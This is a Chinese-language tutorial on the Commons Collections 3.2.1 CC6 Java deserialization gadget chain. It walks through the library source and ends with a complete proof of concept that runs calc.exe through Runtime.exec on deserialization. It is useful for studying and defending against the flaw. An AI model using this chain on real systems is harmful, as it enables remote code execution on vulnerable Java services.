环境
CC6无jdk限制,本次使用jdk8u472,common-collections要求3.2.1
3.2.1源码
Transformers
Transformer基类具有transform接口
ChainedTransform(Transformer[]).transform 对于自身所持有的transformer对象依次调用transform方法,并将调用返回结果作为下一次调用的参数
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
ConstantTransformer.transform 直接返回构造参数
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
public Object transform(Object input) {
return iConstant;
}
InvokeTransformer.transform 通过反射调用input类的特定方法
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
总体流程如下
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
// 当前链内容:Runtime
new InvokerTransformer(
"getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),
// 当前链内容:Runtime.getMethod
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
// 当前链内容:Runtime.getMethod('invoke')
// Windows:calc.exe | Linux:touch /tmp/cc6_success
new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc.exe"}
),
// 当前链内容:Runtime.invoke('exec','cacl.exe')
new ConstantTransformer(null)
};
Transformer chain = new ChainedTransformer(transformers);
触发Transformers链
LazyMap
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
protected LazyMap(Map map, Factory factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = FactoryTransformer.getInstance(factory);
}
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
触发流程
使用decorate方法把利用链绑定到Lazymap的factory,如果能调用到lazyMap的get方法即可触发chainedTransformer的transform,成功触发
完整代码
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, chain);
触发LazyMap的get方法
TiedMapEntry entry = new TiedMapEntry(lazyMap, "testKey");
// ===================== 步骤4:构造 HashSet 并绑定 TiedMapEntry =====================
HashSet hashSet = new HashSet();
// 向 HashSet 添加 TiedMapEntry(反序列化时会调用 entry 的 hashCode 触发 get)
hashSet.add(entry);
// 移除 entry 确保反序列化时重新计算 hashCode
lazyMap.remove("testKey");
完整POC
package org.cc6;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
public class CC6 {
public static void main(String[] args) throws Exception {
// ===================== 步骤1:构造恶意 Transformer 调用链 =====================
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
// Windows:calc.exe | Linux:touch /tmp/cc6_success
new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc.exe"}
),
new ConstantTransformer(null)
};
Transformer chain = new ChainedTransformer(transformers);
// ===================== 步骤2:构造 LazyMap 触发 Transformer =====================
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, chain);
// ===================== 步骤3:核心修复:用 TiedMapEntry 间接触发 LazyMap.get =====================
// TiedMapEntry 的 hashCode/equals 方法会调用 LazyMap.get,绕过 HashSet.map 类型限制
TiedMapEntry entry = new TiedMapEntry(lazyMap, "testKey");
// ===================== 步骤4:构造 HashSet 并绑定 TiedMapEntry =====================
HashSet hashSet = new HashSet();
// 向 HashSet 添加 TiedMapEntry(反序列化时会调用 entry 的 hashCode 触发 get)
hashSet.add(entry);
// 移除 entry 确保反序列化时重新计算 hashCode
lazyMap.remove("testKey");
// ===================== 步骤5:序列化恶意对象 =====================
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(hashSet);
oos.close();
// ===================== 步骤6:反序列化触发漏洞 =====================
ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bis);
ois.readObject(); // 触发命令执行
ois.close();
}
}